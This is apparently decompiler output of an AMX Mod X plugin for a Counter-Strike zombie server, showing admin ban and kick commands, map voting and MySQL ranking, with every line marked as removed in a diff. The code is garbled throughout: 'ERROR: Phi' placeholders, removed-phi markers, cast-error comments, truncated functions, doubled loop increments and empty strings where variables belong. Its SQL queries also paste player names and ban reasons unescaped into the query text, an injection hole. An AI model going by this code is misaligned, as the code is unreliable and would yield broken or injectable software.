- PrintToChatEx(true, g_iMaxClients + 1, "\1*SPEC*\4 %s\3 %s\1 : %s", g_cTag[iPlayer][0][0], g_cName[iPlayer][0][0], cMessage);
- }
- }
- if (!g_cTag[iPlayer][0][0][0])
- {
- PrintToChatEx(true, iPlayer, "\1*DEAD*\3 %s\1 : %s", g_cName[iPlayer][0][0], cMessage);
- }
- PrintToChatEx(true, iPlayer, "\1*DEAD*\4 %s\3 %s\1 : %s", g_cTag[iPlayer][0][0], g_cName[iPlayer][0][0], cMessage);
- }
- return 0;
- }
- PrintToChat(iReceiver, String:cMessage[])
- {
- static cBuffer[192];
- vformat(cBuffer, 191, cMessage, 3);
- if (iReceiver)
- {
- send_say_text(iReceiver, g_iMaxClients + 1, cBuffer);
- }
- else
- {
- static i;
- i = 0;
- while (g_iMaxClients + 1 > i)
- {
- new var3 = g_bConnected;
- new var1;
- new var2;
- if (var3[i][0][0])
- {
- new var4 = g_bFake;
- if (!var4[i][0][0])
- {
- var2 = var4;
- if (ERROR: Phi)
- {
- send_say_text(i, g_iMaxClients + 1, cBuffer);
- i += 1;
- }
- i += 1;
- }
- var1 = var4;
- }
- else
- {
- var1 = var3;
- }
- var2 = var1;
- if (ERROR: Phi)
- {
- send_say_text(i, g_iMaxClients + 1, cBuffer);
- i += 1;
- }
- i += 1;
- }
- }
- return 0;
- }
- PrintToChatEx(bool:bAlive, iPlayer, String:cMessage[])
- {
- !!! Removed Phi
- static i;
- static cBuffer[192];
- vformat(cBuffer, 191, cMessage, 4);
- i = 0;
- while (g_iMaxClients + 1 > i)
- {
- if (g_bConnected[i][0][0] && !g_bFake[i][0][0] && g_bAlive[i][0][0] == bAlive)
- {
- send_say_text(i, iPlayer, cBuffer);
- i += 1;
- }
- i += 1;
- }
- return 0;
- }
- public TaskLight()
- {
- !!! Removed Phi
- if (g_iRoundType & 2)
- {
- light("a");
- }
- else
- {
- static cLight[2];
- get_cvar_string("light", cLight, 1);
- light(cLight);
- }
- static i;
- i = 1;
- while (g_iMaxClients + 1 > i)
- {
- if (g_bAlive[i][0][0] && g_bZombie[i][0][0] && !g_iPlayerType[i][0][0] && g_iZombieClass[i][0][0] == 4 && get_health(i) < 6000)
- {
- set_health(i, get_health(i) + 350);
- send_particle_burst(i);
- set_hudmessage(255, 0, 175, -1.00, 0.10, 1, 0.00, 1.75, 1.00, 1.00, -1);
- ShowSyncHudMsg(i, g_iTopMessageSync, "== REGENERATOR ==\n!!!Regeneration: +350 HP Gained!!!");
- i += 1;
- }
- i += 1;
- }
- return 0;
- }
- bool:AdminHasFlag(iPlayer, iFlag)
- {
- static i;
- i = 0;
- while (i < 42)
- {
- if (iFlag == g_cAdminFlags[iPlayer][0][0][i])
- {
- return true;
- }
- i += 1;
- }
- return false;
- }
- public EventCurWeapon(iPlayer)
- {
- !!! Removed Phi
- g_iWeapon[iPlayer] = read_data(2);
- if (g_bZombie[iPlayer][0][0])
- {
- switch (g_iWeapon[iPlayer][0][0])
- {
- case 4:
- {
- set_viewmodel(iPlayer, "models/ZombieOutstanding/z_out_v_grenade_infection.mdl");
- set_weaponmodel(iPlayer, "models/ZombieOutstanding/z_out_p_grenade_infection.mdl");
- }
- case 29:
- {
- if (!g_iPlayerType[iPlayer][0][0])
- {
- set_viewmodel(iPlayer, g_cZombieClaws[g_iZombieClass[iPlayer][0][0]][0][0]);
- }
- else
- {
- if (g_iPlayerType[iPlayer][0][0] & 1)
- {
- set_viewmodel(iPlayer, "models/ZombieOutstanding/z_out_nemesis_claws.mdl");
- }
- if (g_iPlayerType[iPlayer][0][0] & 2)
- {
- set_viewmodel(iPlayer, "models/ZombieOutstanding/z_out_assassin_claws.mdl");
- }
- }
- set_weaponmodel(iPlayer, "");
- }
- default:
- {
- }
- }
- }
- else
- {
- if (get_user_jetpack(iPlayer) && g_iWeapon[iPlayer][0][0] == 29)
- {
- jet(iPlayer);
- }
- if (g_iPlayerType[iPlayer][0][0] & 8 && g_iWeapon[iPlayer][0][0] == 18)
- {
- set_viewmodel(iPlayer, "models/ZombieOutstanding/z_out_v_awp_sniper.mdl");
- set_weaponmodel(iPlayer, "models/ZombieOutstanding/z_out_p_awp_sniper.mdl");
- }
- if (g_bUnlimitedClip[iPlayer][0][0] || g_iPlayerType[iPlayer][0][0] & 4)
- {
- if (!1 << g_iWeapon[iPlayer][0][0] & 570425936)
- {
- set_weapon_ammo(get_pdata_cbase(iPlayer, 373, 5), 31);
- }
- }
- }
- return 0;
- }
- public CmdBan(iPlayer)
- {
- !!! Removed Phi
- if (g_bAdmin[iPlayer][0][0] && AdminHasFlag(iPlayer, 100))
- {
- if (4 > read_argc())
- {
- console_print(iPlayer, "[Zombie Outstanding] Command usage is amx_ban <#userid or name> <time> [reason]");
- return 1;
- }
- static Float:fGameTime;
- fGameTime = get_gametime();
- if (!fGameTime - g_fLastBanQuery >= 6.00/*1086324736*/)
- {
- console_print(iPlayer, "[Zombie Outstanding] Please wait six seconds...");
- return 1;
- }
- g_fLastBanQuery = fGameTime;
- static cTimeLength[32];
- static cReason[36];
- static iClient;
- static iTime;
- static cTime[6];
- static cTarget[32];
- read_argv(1, cTarget, 32);
- read_argv(2, cTime, 6);
- read_argv(3, cReason, 36);
- iTime = str_to_num(cTime);
- if (0 > iTime)
- {
- iTime = 0;
- }
- if (iTime > 175000)
- {
- iTime = 175000;
- }
- if (0 < iTime)
- {
- GetTimeLength(iTime, cTimeLength, 32);
- iTime = iTime * 60;
- }
- iClient = GetTarget(iPlayer, cTarget, 4);
- if (iClient)
- {
- if (0 < iTime)
- {
- formatex(g_cQuery, 256, "INSERT INTO b VALUES ('%s','%s','%s','%s','%s',(unix_timestamp(now())+%d),'%s',unix_timestamp(now()),'%s')", g_cName[iPlayer][0][0], g_cSteam[iPlayer][0][0], g_cSteam[iClient][0][0], g_cName[iClient][0][0], cReason, iTime, g_cInternetProtocolAddress[iClient][0][0], cTimeLength);
- SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", "", "", 0);
- }
- else
- {
- formatex(g_cQuery, 256, "INSERT INTO b VALUES ('%s','%s','%s','%s','%s',0,'%s',unix_timestamp(now()),'Permanently')", g_cName[iPlayer][0][0], g_cSteam[iPlayer][0][0], g_cSteam[iClient][0][0], g_cName[iClient][0][0], cReason, g_cInternetProtocolAddress[iClient][0][0]);
- SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", "", "", 0);
- }
- if (0 < iTime)
- {
- PrintToChat(0, "\4[Zombie Outstanding]\1 Admin\4 %s\1 banned\4 %s\1 for\3 %d\1 minutes due to\3 %s", g_cName[iPlayer][0][0], g_cName[iClient][0][0], iTime / 60, cReason);
- }
- else
- {
- PrintToChat(0, "\4[Zombie Outstanding]\1 Admin\4 %s\1 banned\4 %s\1 permanently due to\3 %s", g_cName[iPlayer][0][0], g_cName[iClient][0][0], cReason);
- }
- server_cmd("kick #%d You are banned! Check http://basky.org.ua/zm-stats/bans", get_user_userid(iClient));
- }
- return 1;
- }
- return 0;
- }
- public CmdFreeze(iPlayer)
- {
- !!! Removed Phi
- if (g_bAdmin[iPlayer][0][0] && AdminHasFlag(iPlayer, 49))
- {
- static iTarget;
- static cTarget[33];
- read_argv(1, cTarget, 32);
- iTarget = GetTarget(iPlayer, cTarget, 6);
- if (iTarget)
- {
- PrintToChat(0, "\4[Zombie Outstanding]\1 Admin\4 %s\1 made\4 %s\3 frost\1 due to\3 camping", g_cName[iPlayer][0][0], g_cName[iTarget][0][0]);
- set_frozen(iTarget, "");
- set_glow(iTarget, 19, 32, 0, "", "");
- g_bFrozen[iTarget] = 1;
- ExecuteHamB(Ham_Item_PreFrame, iTarget);
- }
- return 1;
- }
- return 0;
- }
- public CmdKick(iPlayer)
- {
- !!! Removed Phi
- if (g_bAdmin[iPlayer][0][0] && AdminHasFlag(iPlayer, 99))
- {
- if (3 > read_argc())
- {
- console_print(iPlayer, "[Zombie Outstanding] Command usage is amx_kick <#userid or name> [reason]");
- return 1;
- }
- static iTarget;
- static cReason[36];
- static cTarget[32];
- read_argv(1, cTarget, 32);
- read_argv(2, cReason, 36);
- iTarget = GetTarget(iPlayer, cTarget, 4);
- if (iTarget)
- {
- PrintToChat(0, "\4[Zombie Outstanding]\1 Admin\4 %s\1 kicked\4 %s\1 due to\3 %s", g_cName[iPlayer][0][0], g_cName[iTarget][0][0], cReason);
- server_cmd("kick #%d You are kicked!", get_user_userid(iTarget));
- }
- return 1;
- }
- return 0;
- }
- public MessageScenario()
- {
- !!! Removed Phi
- if (1 < get_msg_args())
- {
- static cSprite[8];
- get_msg_arg_string(2, "", 8);
- if (equal("", "hostage", 0))
- {
- return 1;
- }
- }
- return 0;
- }
- public CmdVoteMap(iPlayer)
- {
- !!! Removed Phi
- if (g_bAdmin[iPlayer][0][0] && AdminHasFlag(iPlayer, 103))
- {
- if (3 > read_argc())
- {
- console_print(iPlayer, "[Zombie Outstanding] Command usage is amx_votemap <map> <map>");
- return 1;
- }
- if (g_bVoting || g_bSecondVoting)
- {
- console_print(iPlayer, "[Zombie Outstanding] There is already a vote!");
- return 1;
- }
- if (GetTimeLeft() < 23.00/*1102577664*/)
- {
- console_print(iPlayer, "[Zombie Outstanding] Time left is smaller than 23 seconds!");
- return 1;
- }
- if (is_map_valid("") && is_map_valid(""))
- {
- static i;
- g_bSecondVoting = 1;
- set_task(15.00, "CheckSecondVotes", 0, "", 0, "", 0);
- g_iVoter = iPlayer;
- PrintToChat(0, "\4[Zombie Outstanding]\1 Admin\4 %s\1 initiated a vote with\4 %s\1 and\4 %s", g_cName[iPlayer][0][0], cMap, cSecondMap);
- new var5 = g_cSecondMaps;
- copy(var5[0][0][var5], 32, "");
- copy(g_cSecondMaps[1][0], 32, "");
- g_iMenu = menu_create("Choose the next map!", "SecondVotePanel", 0);
- menu_additem(g_iMenu, cMap, "1", 0, -1);
- menu_additem(g_iMenu, cSecondMap, "2", 0, -1);
- menu_setprop(g_iMenu, 6, -1);
- i = 1;
- while (g_iMaxClients + 1 > i)
- {
- if (g_bConnected[i][0][0] && !g_bFake[i][0][0])
- {
- menu_display(i, g_iMenu, 0);
- i += 1;
- }
- i += 1;
- }
- }
- else
- {
- console_print(iPlayer, "[Zombie Outstanding] Unable to find specified map or one of the specified map(s)!");
- }
- return 1;
- }
- return 0;
- }
- public EmptyPanel(iPlayer, iMenu, iItem)
- {
- return 0;
- }
- public VotePanel(iPlayer, iMenu, iItem)
- {
- new var7 = iPlayer;
- new var8 = 0 < var7;
- new var1;
- new var2;
- new var3;
- if (33 > var7 & var8)
- {
- new var9 = g_bConnected;
- if (var9[iPlayer][0][0])
- {
- new var10 = g_bFake;
- if (!var10[iPlayer][0][0])
- {
- var2 = 1;
- var3 = var10;
- / * ERROR! Unable to cast object of type 'Lysis.DSentinel' to type 'Lysis.DReturn'. * /
- function "VotePanel"
- public VotePanel(iPlayer, iMenu, iItem)
- public SecondVotePanel(iPlayer, iMenu, iItem)
- {
- new var6 = iPlayer;
- new var7 = 0 < var6;
- new var1;
- new var2;
- new var3;
- if (g_iMaxClients + 1 > var6 & var7)
- {
- new var8 = g_bConnected;
- if (var8[iPlayer][0][0])
- {
- new var9 = g_bFake;
- if (!var9[iPlayer][0][0])
- {
- var2 = 1;
- var3 = var9;
- / * ERROR! Unable to cast object of type 'Lysis.DSentinel' to type 'Lysis.DReturn'. * /
- function "SecondVotePanel"
- public SecondVotePanel(iPlayer, iMenu, iItem)
- public CmdSlay(iPlayer)
- {
- !!! Removed Phi
- if (g_bAdmin[iPlayer][0][0] && AdminHasFlag(iPlayer, 101))
- {
- if (2 > read_argc())
- {
- console_print(iPlayer, "[Zombie Outstanding] Command usage is amx_slay <#userid or name>");
- return 1;
- }
- static iTarget;
- static cTarget[32];
- read_argv(1, cTarget, 32);
- iTarget = GetTarget(iPlayer, cTarget, 6);
- if (iTarget)
- {
- PrintToChat(0, "\4[Zombie Outstanding]\1 Admin\4 %s\1 slayed\4 %s", g_cName[iPlayer][0][0], g_cName[iTarget][0][0]);
- kill(iTarget);
- }
- return 1;
- }
- return 0;
- }
- public TimerChangeMap()
- {
- if (!g_bEnded)
- {
- g_bEnded = 1;
- g_fLastQuery = 999999.00/*1232348144*/;
- g_fLastRankQuery = 999999.00/*1232348144*/;
- g_fLastBanQuery = 999999.00/*1232348144*/;
- static i;
- i = 1;
- while (g_iMaxClients + 1 > i)
- {
- g_bRanked[i] = 0;
- i += 1;
- }
- i = 0;
- while (i < 1500)
- {
- remove_task(i, 0);
- i += 1;
- }
- set_task(0.75, "ShutDownSQL", 0, "", 0, "", 0);
- }
- return 0;
- }
- public ShutDownSQL()
- {
- g_fLastQuery = 999999.00/*1232348144*/;
- g_fLastRankQuery = 999999.00/*1232348144*/;
- g_fLastBanQuery = 999999.00/*1232348144*/;
- static i;
- i = 0;
- while (i < 1500)
- {
- remove_task(i, 0);
- i += 1;
- }
- PrintToChat(0, "\4[Zombie Outstanding]\1 Shutting down\3 MySQL\1 connection... Map change in\3 11 seconds!");
- set_task(11.75, "TaskInt", 0, "", 0, "", 0);
- return 0;
- }
- public TaskInt()
- {
- send_intermission();
- set_task(0.12, "TaskChangeLevel", 800, "", 0, "", 0);
- return 0;
- }
- public TaskChangeLevel()
- {
- changelevel();
- return 0;
- }
- public TaskUpdateTime(iTask)
- {
- new var2 = g_bRanked;
- new var1;
- if (var2[iTask + -400][0][0])
- {
- new var3 = g_iOnlineTime[iTask + -400];
- var3 = var3[0][0] + 5;
- GetTimeLength(g_iOnlineTime[iTask + -400][0][0], g_cOnlineTime[iTask + -400][0][0], 32);
- formatex(g_cQuery, 255, "UPDATE r SET y=y+5,t=unix_timestamp(now()) WHERE n='%s'", g_cName[iTask + -400][0][0]);
- SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", "", "", 0);
- new var4 = g_iOnlineTime[iTask + -400][0][0];
- if (var4)
- {
- var1 = var4;
- }
- send_say_text(iTask + -400, g_iMaxClients + 1, 242692);
- new var5 = g_iPacks[iTask + -400];
- var5 = var5[0][0] + 4;
- var1 = var5;
- }
- else
- {
- var1 = var2;
- }
- return 0;
- }
- public SQLPreparePlayer(iFailState, Handle:hQuery, String:cError[], iErrorNum, String:cData[], iDataSize, Float:fQueueTime)
- {
- static iPlayer;
- iPlayer = str_to_num(cData);
- new var2 = g_bRanked;
- new var1;
- if (!var2[iPlayer][0][0])
- {
- if (SQL_NumResults(hQuery))
- {
- g_iScore[iPlayer] = SQL_ReadResult(hQuery, 0);
- g_iKills[iPlayer] = SQL_ReadResult(hQuery, 1);
- g_iDeaths[iPlayer] = SQL_ReadResult(hQuery, 2);
- g_iPoints[iPlayer] = SQL_ReadResult(hQuery, 3);
- g_iOnlineTime[iPlayer] = SQL_ReadResult(hQuery, 4);
- GetTimeLength(g_iOnlineTime[iPlayer][0][0], g_cOnlineTime[iPlayer][0][0], 32);
- new var3 = g_bRanked[iPlayer];
- var3 = 1;
- show_glow_message(str_to_num(cData), "You are now ranked!", 40960, 0.02, 0.69, 1.75);
- var1 = var3;
- }
- new var4 = g_cOnlineTime[iPlayer][0][0];
- var4[0] = 243080;
- g_iScore[iPlayer] = 1000;
- g_iOnlineTime[iPlayer] = 0;
- g_iDeaths[iPlayer] = 0;
- g_iKills[iPlayer] = 0;
- g_iPoints[iPlayer] = 0;
- new var5 = g_cName[iPlayer];
- formatex(g_cQuery, 256, "INSERT INTO r VALUES ('%s','%s','%s',1000,0,0,0,0,unix_timestamp(now()))", var5[0][0], g_cInternetProtocolAddress[iPlayer][0][0], g_cSteam[iPlayer][0][0]);
- SQL_ThreadQuery(g_hSQLTuple, "SQLLoadedRank", "", cData, 3);
- g_iRanksCount += 1;
- var1 = var5;
- }
- else
- {
- var1 = var2;
- }
- return 0;
- }
- public SQLGetMaps(iFailState, Handle:hQuery, String:cError[], iErrorNum, String:cData[], iDataSize, Float:fQueueTime)
- {
- !!! Removed Phi
- if (SQL_NumResults(hQuery) > 3 && get_cvar_num("mp_timelimit") > 3)
- {
- static bool:bStop;
- static cMaps[128][32];
- static iRandom;
- static iPreparedMaps;
- static iValidMaps;
- static iMaps;
- iPreparedMaps = 0;
- iValidMaps = 0;
- iMaps = 0;
- while (SQL_MoreResults(hQuery))
- {
- SQL_ReadResult(hQuery, 0, cMaps[iMaps][0][0], 32);
- if (is_map_valid(cMaps[iMaps][0][0]))
- {
- iValidMaps += 1;
- }
- iMaps += 1;
- SQL_NextRow(hQuery);
- }
- if (iValidMaps > 3)
- {
- while (iPreparedMaps != 4)
- {
- iRandom = random_num(0, iMaps + -1);
- bStop = 0;
- g_iVariable = 0;
- while (g_iVariable < 4)
- {
- if (equal(cMaps[iRandom][0][0], g_cMaps[g_iVariable][0][0], 0))
- {
- bStop = 1;
- g_iVariable += 1;
- }
- g_iVariable += 1;
- }
- if (bStop)
- {
- }
- else
- {
- if (is_map_valid(cMaps[iRandom][0][0]))
- {
- copy(g_cMaps[iPreparedMaps][0][0], 32, cMaps[iRandom][0][0]);
- iPreparedMaps += 1;
- }
- }
- }
- set_task(30.00, "CheckTimeleft", 25613, "", 0, "b", 0);
- }
- else
- {
- set_cvar_string("nextmap", "zm_ice_attack3");
- }
- }
- else
- {
- set_cvar_string("nextmap", "zm_ice_attack3");
- }
- return 0;
- }
- public SQLPushAdmins(iFailState, Handle:hQuery, String:cError[], iErrorNum, String:cData[], iDataSize, Float:fQueueTime)
- {
- if (SQL_NumResults(hQuery))
- {
- static cPassword[32];
- static cName[32];
- while (SQL_MoreResults(hQuery))
- {
- SQL_ReadResult(hQuery, 0, 260660, 32);
- SQL_ReadResult(hQuery, 1, 260788, 32);
- push_admin(cName, cPassword);
- SQL_NextRow(hQuery);
- }
- set_task(1.00, "TaskLoadA", 0, "", 0, "", 0);
- }
- return 0;
- }
- public TaskLoadA()
- {
- static i;
- i = 1;
- while (g_iMaxClients + 1 > i)
- {
- if (g_bConnected[i][0][0])
- {
- load(i);
- i += 1;
- }
- i += 1;
- }
- return 0;
- }
- public CheckSecondVotes()
- {
- static iVoteOption;
- static iMaximumVotes;
- g_bSecondVoting = 0;
- iMaximumVotes = -1;
- g_iVariable = 0;
- while (g_iVariable < 2)
- {
- new var4 = g_iSecondVotes[g_iVariable][0][0];
- new var1;
- if (iMaximumVotes < var4)
- {
- new var5 = g_iSecondVotes;
- iMaximumVotes = var5[g_iVariable][0][0];
- iVoteOption = g_iVariable;
- var1 = var5;
- g_iVariable += 1;
- }
- else
- {
- var1 = var4;
- g_iVariable += 1;
- }
- g_iVariable += 1;
- }
- PrintToChat(0, "\1The next map will be\4 %s", g_cSecondMaps[iVoteOption][0][0]);
- set_cvar_string("nextmap", g_cSecondMaps[iVoteOption][0][0]);
- new var6 = g_bConnected;
- new var2;
- new var3;
- if (var6[g_iVoter][0][0])
- {
- new var7 = g_bFake;
- if (!var7[g_iVoter][0][0])
- {
- var3 = var7;
- if (ERROR: Phi)
- {
- g_iMenu = menu_create("Do you want to change it right now?", "_MenuChange", 0);
- menu_additem(g_iMenu, "Yes, change it now!", "0", 0, -1);
- menu_additem(g_iMenu, "Change it just next map...", "1", 0, -1);
- menu_additem(g_iMenu, "Don't change it!", "2", 0, -1);
- menu_setprop(g_iMenu, 6, -1);
- menu_display(g_iVoter, g_iMenu, 0);
- }
- g_iSecondVotes[1] = 0;
- g_iSecondVotes[0] = 0;
- return 0;
- }
- var2 = var7;
- }
- else
- {
- var2 = var6;
- }
- var3 = var2;
- if (ERROR: Phi)
- {
- g_iMenu = menu_create("Do you want to change it right now?", "_MenuChange", 0);
- menu_additem(g_iMenu, "Yes, change it now!", "0", 0, -1);
- menu_additem(g_iMenu, "Change it just next map...", "1", 0, -1);
- menu_additem(g_iMenu, "Don't change it!", "2", 0, -1);
- menu_setprop(g_iMenu, 6, -1);
- menu_display(g_iVoter, g_iMenu, 0);
- }
- g_iSecondVotes[1] = 0;
- g_iSecondVotes[0] = 0;
- return 0;
- }
- public _MenuChange(iPlayer, iMenu, iItem)
- {
- static iChoice;
- static iDummy;
- static cBuffer[3];
- new var1 = Heap_4;
- var1[0] = 261596;
- menu_item_getinfo(iMenu, iItem, iDummy, cBuffer, 3, var1, 0, iDummy);
- iChoice = str_to_num(cBuffer);
- switch (iChoice)
- {
- case 0:
- {
- static cMap[32];
- get_cvar_string("nextmap", cMap, 32);
- PrintToChat(0, "\4[Zombie Outstanding]\1 Changing map to\4 %s\1...", cMap);
- set_cvar_num("mp_timelimit", 4096);
- set_task(1.00, "TimerChangeMap", 0, "", 0, "", 0);
- }
- case 1:
- {
- static cMap[32];
- get_cvar_string("nextmap", cMap, 32);
- PrintToChat(0, "\4[Zombie Outstanding]\1 Console variable\4 nextmap\1 has been changed to\4 %s\1...", cMap);
- set_cvar_num("mp_timelimit", 4096);
- }
- case 2:
- {
- PrintToChat(0, "\4[Zombie Outstanding]\1 We will stay here...");
- }
- default:
- {
- }
- }
- return 0;
- }
- public CheckVotes()
- {
- !!! Removed Phi
- static iVoteOption;
- static iMaximumVotes;
- g_bVoting = 0;
- iMaximumVotes = -1;
- g_iVariable = 0;
- while (g_iVariable < 5)
- {
- if (iMaximumVotes < g_iVotes[g_iVariable][0][0])
- {
- iMaximumVotes = g_iVotes[g_iVariable][0][0];
- iVoteOption = g_iVariable;
- g_iVariable += 1;
- }
- g_iVariable += 1;
- }
- if (iVoteOption)
- {
- PrintToChat(0, "\1The next map will be\4 %s", g_cMaps[iVoteOption + -1][0][0]);
- set_cvar_string("nextmap", g_cMaps[iVoteOption + -1][0][0]);
- set_cvar_num("mp_timelimit", 4096);
- }
- else
- {
- PrintToChat(0, "\1This map will be extended with\4 10\1 minutes!");
- g_iVariable = 0;
- while (g_iVariable < 5)
- {
- g_iVotes[g_iVariable] = 0;
- g_iVariable += 1;
- }
- set_task(30.00, "CheckTimeleft", 25613, "", 0, "b", 0);
- set_cvar_num("mp_timelimit", get_cvar_num("mp_timelimit") + 10);
- }
- g_iVariable = 0;
- while (g_iVariable < 5)
- {
- g_iVotes[g_iVariable] = 0;
- g_iVariable += 1;
- }
- return 0;
- }
- public CheckTimeleft(iDecimal)
- {
- !!! Removed Phi
- if (get_cvar_num("mp_timelimit") && fTimeLeft < 200.00 && !g_bSecondVoting && !g_bVoting)
- {
- remove_task(iDecimal, 0);
- g_bVoting = 1;
- set_task(15.00, "CheckVotes", 0, "", 0, "", 0);
- g_iMenu = menu_create("Choose the next map!", "VotePanel", 0);
- menu_additem(g_iMenu, "Extend this map", "1", 0, -1);
- static j[32];
- static i;
- i = 2;
- g_iVariable = 0;
- while (g_iVariable < 4)
- {
- num_to_str(i, j, 32);
- menu_additem(g_iMenu, g_cMaps[g_iVariable][0][0], j, 0, -1);
- i += 1;
- g_iVariable += 1;
- }
- menu_setprop(g_iMenu, 6, -1);
- g_iVariable = 1;
- while (g_iMaxClients + 1 > g_iVariable)
- {
- if (g_bConnected[g_iVariable][0][0] && !g_bFake[g_iVariable][0][0])
- {
- menu_display(g_iVariable, g_iMenu, 0);
- g_iVariable += 1;
- }
- g_iVariable += 1;
- }
- }
- return 0;
- }
- public SQLCheckAdmin(iFailState, Handle:hQuery, String:cError[], iErrorNum, String:cData[], iDataSize, Float:fQueueTime)
- {
- !!! Removed Phi
- if (SQL_NumResults(hQuery))
- {
- if (equali("", g_cPasswords[iPlayer][0][0], 0) && strlen(cPassword) && strlen(g_cPasswords[iPlayer][0][0]))
- {
- g_bAdmin[iPlayer] = 1;
- copy(g_cAdminFlags[iPlayer][0][0], 42, "");
- copy(g_cTag[iPlayer][0][0], 24, "");
- show_glow_message(iPlayer, "You are now administrator!", 6904269, 0.02, 0.60, 1.75);
- }
- }
- return 0;
- }
- public SQLBanCheck(iFailState, Handle:hQuery, String:cError[], iErrorNum, String:cData[], iDataSize, Float:fQueueTime)
- {
- if (SQL_NumResults(hQuery))
- {
- server_cmd("kick #%d You are banned! Check http://basky.org.ua/zm-stats/bans", get_user_userid(str_to_num(cData)));
- }
- return 0;
- }
- GetTimeLength(iTime, String:sTime[], iLength)
- {
- !!! Removed Phi
- static sElement[2][12];
- static iElement;
- static iSecond;
- static iMinute;
- static iHour;
- iSecond = 0;
- iMinute = 0;
- iHour = 0;
- iElement = -1;
- iSecond = iTime * 60;
- iHour = iSecond / 3600;
- iSecond = iSecond - iHour * 3600;
- iMinute = iSecond / 60;
- iSecond = iSecond - iMinute * 60;
- if (0 < iHour)
- {
- iElement += 1;
- formatex(sElement[iElement][0][0], 11, "%d h", iHour);
- }
- iElement += 1;
- formatex(sElement[iElement][0][0], 11, "%d m", iMinute);
- switch (iElement)
- {
- case 0:
- {
- new var2 = sElement;
- formatex(sTime, iLength, "%s", var2[0][0][var2]);
- }
- case 1:
- {
- new var1 = sElement;
- formatex(sTime, iLength, "%s %s", var1[0][0][var1], sElement[1][0]);
- }
- default:
- {
- }
- }
- return 0;
- }
- Float:GetTimeLeft()
- {
- return get_cvar_float("mp_timelimit") * 60.00 - get_gametime();
- }
- public client_disconnect(iPlayer)
- {
- !!! Removed Phi
- if (iTimeLimit != 4096 && !g_bFake[iPlayer][0][0])
- {
- if (g_bAlive[iPlayer][0][0])
- {
- CheckLastPlayer(iPlayer);
- }
- InsertInfo(iPlayer);
- ArrayPushString(g_aNameData, g_cName[iPlayer][0][0]);
- ArrayPushCell(g_aAmmoData, g_iPacks[iPlayer][0][0]);
- }
- remove_task(iPlayer + 50, 0);
- remove_task(iPlayer + 100, 0);
- remove_task(iPlayer + 150, 0);
- remove_task(iPlayer + 250, 0);
- remove_task(iPlayer + 200, 0);
- remove_task(iPlayer + 300, 0);
- remove_task(iPlayer + 350, 0);
- remove_task(iPlayer + 400, 0);
- remove_task(iPlayer + 500, 0);
- remove_task(iPlayer + 450, 0);
- if (g_iPlantedMines[iPlayer][0][0])
- {
- rem(iPlayer);
- g_iPlantedMines[iPlayer] = 0;
- }
- g_iPingOverride[iPlayer] = -1;
- g_iPlayerMines[iPlayer][0][0][1] = 0;
- g_iPlayerMines[iPlayer][0][0][0] = 0;
- g_iPlantedMines[iPlayer] = 0;
- g_iTripMines[iPlayer] = 0;
- g_iBlinks[iPlayer] = 0;
- g_bRemoving[iPlayer] = 0;
- g_bFake[iPlayer] = 0;
- g_bPlanting[iPlayer] = 0;
- g_bAdminModel[iPlayer] = 0;
- g_bServerSlot[iPlayer] = 0;
- g_bDoubleDamage[iPlayer] = 0;
- g_bUnlimitedClip[iPlayer] = 0;
- g_bTryder[iPlayer] = 0;
- g_bAlive[iPlayer] = 0;
- g_bConnected[iPlayer] = 0;
- new var2 = g_cTag[iPlayer][0][0];
- var2[0] = 264756;
- new var3 = g_cAdminFlags[iPlayer][0][0];
- var3[0] = 264760;
- g_fGagTime[iPlayer] = 0;
- if (g_bBot[iPlayer][0][0])
- {
- g_bBot[iPlayer] = 0;
- g_iBotsCount += -1;
- }
- formatex(g_cPasswords[iPlayer][0][0], 31, "%s", "");
- return 0;
- }
- public SQLGetRank(iFailState, Handle:hQuery, String:cError[], iErrorNum, String:cData[], iDataSize, Float:fQueueTime)
- {
- static iRank;
- static iPlayer;
- iPlayer = str_to_num(cData);
- iRank = SQL_NumResults(hQuery);
- g_iMenu = menu_create("Ranking", "EmptyPanel", 0);
- formatex(g_cQuery, 255, "Rank: %d/%d Score: %d", iRank, g_iRanksCount, g_iScore[iPlayer]);
- menu_additem(g_iMenu, g_cQuery, "1", 0, -1);
- new var1;
- if (g_iDeaths[iPlayer][0][0])
- {
- float(g_iDeaths[iPlayer][0][0]);
- var1 = float(g_iKills[iPlayer][0][0]);
- }
- else
- {
- new var3 = g_iKills;
- float(var3[iPlayer][0][0]);
- var1 = var3;
- }
- formatex(g_cQuery, 255, "Kills: %d Deaths: %d KPD: %0.2f", g_iKills[iPlayer], g_iDeaths[iPlayer], ERROR: Phi);
- menu_additem(g_iMenu, g_cQuery, "2", 0, -1);
- formatex(g_cQuery, 255, "Online: %s", g_cOnlineTime[iPlayer][0][0]);
- menu_additem(g_iMenu, g_cQuery, "3", 0, -1);
- menu_setprop(g_iMenu, 6, -1);
- menu_display(iPlayer, g_iMenu, 0);
- new var2;
- if (g_iDeaths[iPlayer][0][0])
- {
- float(g_iDeaths[iPlayer][0][0]);
- var2 = float(g_iKills[iPlayer][0][0]);
- }
- else
- {
- new var4 = g_iKills;
- float(var4[iPlayer][0][0]);
- var2 = var4;
- }
- PrintToChat(0, "\4[Zombie Outstanding]\3 %s\1's rank is\4 %d\1/\4%d\1 --\3 %0.2f KPD", g_cName[iPlayer][0][0], iRank, g_iRanksCount, ERROR: Phi);
- return 0;
- }
- public EventHLTV()
- {
- g_bRoundStart = 1;
- g_bModeStarted = 0;
- g_fRoundStartTime = get_gametime();
- return 0;
- }
- public TaskCounter()
- {
- g_iCounter += -1;
- new var1 = g_iCounter;
- if (9 > var1 & 0 < var1)
- {
- static cWord[12];
- num_to_word(g_iCounter, cWord, 12);
- set_hudmessage(179, 0, 0, -1.00, 0.28, 2, 0.02, 1.00, 0.01, 0.10, 10);
- ShowSyncHudMsg(0, g_iCounterMessage, "Infection in %d", g_iCounter);
- client_cmd(0, "spk fvox/%s", cWord);
- }
- return 0;
- }
- public EventRoundStart()
- {
- !!! Removed Phi
- g_iRoundType = 0;
- g_bModeStarted = 0;
- g_bRoundEnd = 0;
- g_bRoundStart = 1;
- remove_task(650, 0);
- set_task(2.00, "TaskWelcome", 650, "", 0, "", 0);
- g_iCounter = 16;
- remove_task(550, 0);
- set_task(16.00, "TaskZombie", 550, "", 0, "", 0);
- remove_task(700, 0);
- set_task(1.00, "TaskCounter", 700, "", 0, "a", 15);
- static i;
- i = 1;
- while (g_iMaxClients + 1 > i)
- {
- if (g_bConnected[i][0][0] && get_user_jetpack(i))
- {
